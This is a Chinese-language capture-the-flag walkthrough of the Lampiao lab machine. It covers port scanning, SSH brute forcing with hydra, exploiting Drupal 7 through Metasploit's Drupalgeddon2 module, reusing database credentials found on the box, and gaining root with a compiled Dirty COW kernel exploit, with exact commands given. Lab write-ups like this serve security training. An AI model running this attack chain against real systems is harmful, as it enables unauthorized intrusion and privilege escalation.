Lampiao靶机渗透
Lampiao 靶机渗透
Lampiao
靶机
确定主机 ip
netdiscover
信息收集
主机、端口扫描
nmap -sS -Pn -A -p- 192.168.220.171 Starting Nmap 7.80 -l
root@kali:~# nmap -sS -Pn -A -p- 192.168.220.171 Starting Nmap ( https://nmap.org )
at 2020-05-29 02:00 EDT Nmap scan report for 192.168.220.171 (192.168.220.171) Host is up (0.00066s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA) | 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA) | 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA) |_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519) 80/tcp open http? | fingerprint-strings: | NULL: | _____ _ _ | |_|/ ___ ___ __ _ ___ _ _ | \x20| __/ (_| __ \x20|_| |_ | ___/ __| |___/ ___|__,_|___/__, ( ) | |___/ | ______ _ _ _ | ___(_) | | | | | \x20/ _` | / _ / _` | | | |/ _` | | |_ __,_|__,_|_| |_| 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-generator: Drupal 7 (http://drupal.org) |
http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Lampi\xC3\xA3o 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port80-TCP:V=7.80%I=7%D=5/29%Time=5ED0A501%P=x86_64-pc-linux-gnu%r(NULL SF:,1179,"\x20_____\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\|_\x20\x20\x20_\|\x20\|\x20\(\x SF:20\)\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\n\x20\x20\|\x20\|\x20\|\x20\|_\|/\x20___\x20\x20\x20\x20___\x20\x20 SF:__\x20_\x20___\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n SF:\x20\x20\|\x20\|\x20\|\x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/\x20_`\ SF:x20/\x20__\|\x20\|\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20_\ SF:|\x20\|_\|\x20\|_\x20\x20\\__\x20\\\x20\|\x20\x20__/\x20\(_\|\x20\\__\x SF:20\\\x20\|_\|\x20\|_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\\___/\x20\\__\| SF:\x20\|___/\x20\x20\\___\|\\__,_\|___/\\__,\x20\(\x20\)\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20__/\x20\|/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|___/\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\n______\x20_\x20\x20\x20\x20\x20\x20\x20_\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20_\x20\n\|\x20\x20___\(_\)\x20\x20\x SF:20\x20\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\|\n\ SF:|\x20\|_\x20\x20\x20_\x20\x20\x20\x20__\|\x20\|_\x20\x20\x20_\x20_\x20_ SF:_\x20___\x20\x20\x20__\x20_\x20\x20\x20\x20___\x20\x20__\x20_\x20_\x20\ SF:x20\x20_\x20\x20__\x20_\|\x20\|\n\|\x20\x20_\|\x20\|\x20\|\x20\x20/\x20 SF:_`\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x20_`\x20\|\x20\x SF:20/\x20_\x20\\/\x20_`\x20\|\x20\|\x20\|\x20\|/\x20_`\x20\|\x20\|\n\|\x2 SF:0\|\x20\x20\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|_\|\x20\|\x20\|\x20\| SF:\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|\x20\x20__/\x20\(_\|\x20\|\x20\| SF:_\|\x20\|\x20\(_\|\x20\|_\|\n\\_\|\x20\x20\x20\|_\|\x20\x20\\__,_\|\\__ SF:,_\|_\|\x20\|_\|"); MAC Address: 00:0C:29:8E:F3:D0 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9
Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.66 ms 192.168.220.171 (192.168.220.171) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.21 seconds
端口:22,80,1898
(Drupal 7)
网站目录扫描
dirb http://192.168.220.171:1898/
发现了一些敏感文件
robots.txt,webconfig,xmlrpc.php
通过网站生成字典
cewl http://192.168.220.171:1898 > userlam.txt
漏洞扫描
可以对发现的端口进行破解
端口功能 | 实施攻击 |
---|---|
22端口SSH | 暴力破解 |
1898端口(Drupal 7)网站 | 暴力破解后台,漏洞扫描 |
SSH 暴力破解
使用从网站生成的字典作为用户名,以及下载好的 top1000 字典作为密码进行破解
hydra -L userlam.txt -P top1000.txt ssh://192.168.220.171
扫了好久,没找到。。。
1898 端口(Drupal 7)网站漏洞扫描
使用 searchsploit
搜索 Drupal 7
搜索 Drupal 7. Remote
定位 Drupal 7
的远程代码执行漏洞
可以发现漏洞最多关键字是 Drupalgeddon
百度搜索:Drupalgeddon
可以发现 Drupalgeddon2
漏洞应该是影响最多的,再次使用 searchsploit
搜索
可以发现有两个实际的漏洞利用程序(都是 ruby 的),一个 POC自己调用比较麻烦,使用框架比较容易一些。
漏洞利用
使用 msf 利用 drupalgeddon2 漏洞 getshell
在控制台输入 msfconsole
,进入 msf 控制台
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
设置 ip,端口,发起攻击
可以发现一个 mp3,还真能放,就是听不懂
还发现了一个录音文件 audio.m4a
播放内容是 user tiago
在 msf 中切换到/home 目录下,查看用户文件夹
可以确定有这样一个用户 tiago,查看之前生成的字典,发现还真有这个名字
再次使用 top1000
密码字典破解 ssh 密码
发现什么没有找到
Linux shell 下收集信息获取 tiago 用户 shell
进入 linux shell
百度搜索一些 Drupal7
数据库配置文件
在 shell 中查看文件
数据库名 drupal
用户名:drupaluser
密码:Virgulino
试着访问数据库,显示没有权限
再次尝试 mysql 用户名密码登录:
居然成功了,看一下数据库
密码是加密的,还是需要破解,现在已经筋疲力尽了,所以暂时不去破解了
可以用数据库的密码切换一下 tiago 用户:Virgulino
发现可以切换
使用 id 查看用户信息,sudo -l 查看权限信息,发现没有权限执行 sudo
后来再一次尝试使用网站生成的字典破解 ssh 密码,发现也可以破解出密码是 Virgulino
hydra -l tiago -P user.txt ssh://192.168.220.171
提权
利用 SUID 权限程序提权失败
查找可以利用的 SUID 权限程序
find / -user root -perm -4000 -print 2>/dev/null
暂时没有发现可以利用的点(常见可利用程序:nmap,vim,find,bash,more,less,nano,cp)
利用本地提权漏洞-脏牛漏洞提权
查看系统版本
uname -a, lsb_release -a
系统:Ubuntu 14.04.5 ,内核 4.4.0-31,i686
使用 searchsploit
搜索内核编号
将源码拷贝到自己的目录中,下载到目标机器中编译执行,发现有的编译不了,有的执行不了。
使用 searchsploit
搜索脏牛漏洞:
searchsploit linux dirty
将 40847.cpp
拷贝到自己目录中,查看代码如何编译
启动 web 服务器:python -m SimpleHTTPServer
下载文件到目标机器中
在目标机器中编译代码(切记不要在自己机器上编译)
查看命令:
编译命令:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
参数解释:
-Wall
一般使用该选项,允许发出 GCC 能够提供的所有有用的警告-pedantic
允许发出 ANSI/ISO C 标准所列出的所有警告-O2
编译器的优化选项的 4 个级别,-O0 表示没有优化,-O1 为缺省值,-O3 优化级别
最高- -std=c11 就是用按 C2011 标准来编译的
- -pthread 在 Linux 中要用到多线程时,需要链接 pthread 库
- -o dcow gcc 生成的目标文件,名字为 dcow
执行./dcow -s 提权成功,切换到 root 目录,查看 flag.txt
小结
本节使用了以下工具:
nmap,joomcan,msf,python
自己 http 服务
gcc,g++
本节涉及的漏洞:
drupalgeddon2
漏洞,脏牛漏洞
本节涉及的失败:
ssh 暴力破解失败
寻找 suid 程序提权失败
编译 linux 提权程序失败
领悟小结:
暴力破解不是万能的,信息收集才是万能的
失败不可怕,可怕的是失败了就放弃了